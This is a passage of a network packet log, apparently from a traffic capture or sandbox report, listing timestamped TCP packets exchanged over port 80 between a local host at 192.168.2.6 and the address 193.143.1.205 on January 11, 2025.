Jan 11, 2025 07:11:34.119008064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.119014978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.119050980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.119050980 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.119476080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.119488955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.119609118 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.154424906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.154496908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.154511929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.154547930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.154547930 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.154572010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.154643059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.154984951 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.169446945 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.169471025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.169481993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.169517994 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.190180063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.190205097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.190217018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.190223932 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.190283060 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.190289021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.190304995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.190354109 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.190431118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.190443993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.190522909 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.205053091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205066919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205080986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205157995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205169916 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205193996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.205193996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.205235004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205266953 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.205302954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205375910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205406904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205408096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.205502987 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205514908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205534935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.205672979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205684900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205698013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205729008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.205729008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.205959082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205971956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.205984116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206024885 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.206137896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206151009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206161976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206173897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206202984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.206202984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.206434965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206445932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206458092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206470966 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206496000 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.206496954 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.206619978 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206634045 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206655025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.206835985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206846952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206861973 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206907034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.206907988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.206981897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.206995010 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.207007885 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.207021952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.207068920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.207068920 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.207340002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.207354069 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.207365990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.207377911 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.207390070 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.207396984 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.207401991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.207431078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.207431078 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.225969076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.226043940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.226056099 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.226100922 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.226114988 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.226170063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.226181030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.226212978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.226212978 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.226341009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.226352930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.226365089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.226448059 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.243266106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.243279934 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.243294001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.243335009 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.243412018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.243424892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.243439913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.243460894 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.243460894 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.258042097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.258060932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.258084059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.258094072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.258162975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.258162975 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.278790951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.278846979 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.278858900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.278891087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.278915882 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.278935909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.279068947 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.279081106 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.279093027 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.279165983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.279166937 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.279237032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.293569088 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.293601990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.293612957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.293658972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.293669939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.293713093 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.293787956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.293821096 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.293826103 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.293863058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.293904066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.293925047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.293994904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294034004 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.294090986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294102907 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294173956 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.294186115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294198990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294298887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294347048 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.294358969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294430971 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294441938 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.294442892 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294457912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294627905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294641972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294648886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.294739008 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.294755936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294769049 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294863939 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.294929028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294941902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294953108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294964075 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294976950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.294992924 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.295011997 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.295236111 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.295248985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.295260906 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.295284986 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.295331001 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.295418024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.295432091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.295444965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.295531034 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.295645952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.295659065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.295670033 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.295681000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.295692921 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.295720100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.295720100 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.295875072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.295959949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.295972109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.296005011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.296005011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.296127081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.296139002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.296150923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.296164989 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.296202898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.296202898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.296340942 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.296550035 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.314709902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.314723969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.314738035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.314851999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.314862967 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.314865112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.314879894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.314915895 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.314960003 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.314980984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.314991951 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.315036058 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.331517935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.331613064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.331625938 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.331707001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.331722021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.331734896 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.331754923 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.331846952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.331860065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.331871986 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.331909895 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.331957102 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.346440077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.346488953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.346499920 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.346592903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.367289066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.367347956 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.367352962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.367358923 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.367443085 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.367443085 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.367455959 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.367503881 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.367506981 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.367517948 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.367531061 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.367681026 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.367750883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.367763996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.367810011 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.367824078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.367835999 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.367883921 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.371681929 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.382175922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.382255077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.382267952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.382308006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.382364035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.382376909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.382380962 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.382390976 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.382550955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.382565022 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.382577896 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.382590055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.382627010 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.382678032 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.382803917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.382817984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.382831097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.382842064 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383045912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383059025 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.383135080 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383147001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383158922 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383172035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383197069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.383197069 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.383306026 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383323908 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383373976 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.383451939 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383465052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383595943 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383609056 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383620024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383631945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.383631945 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.383632898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383646011 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383693933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.383693933 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.383959055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383972883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.383984089 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384100914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384114981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384126902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384131908 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.384149075 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.384162903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.384357929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384371042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384383917 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384394884 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384407997 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384419918 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384437084 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384443998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.384443998 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.384501934 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.384882927 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384895086 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384910107 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384922028 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384927988 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.384934902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.384968996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.384968996 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.385137081 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.385149002 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.385159969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.385276079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.385611057 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.402915955 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.402998924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.403012037 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.403050900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.403050900 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.403120995 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.403156042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.403225899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.403237104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.403264999 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.403309107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.403402090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.403414965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.403434992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.403822899 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.421417952 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.421432972 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.421447992 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.421495914 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.421549082 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 07:11:34.421549082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:11:34.421561956 CET	80	49710	193.143.1.205	192.168.2.6
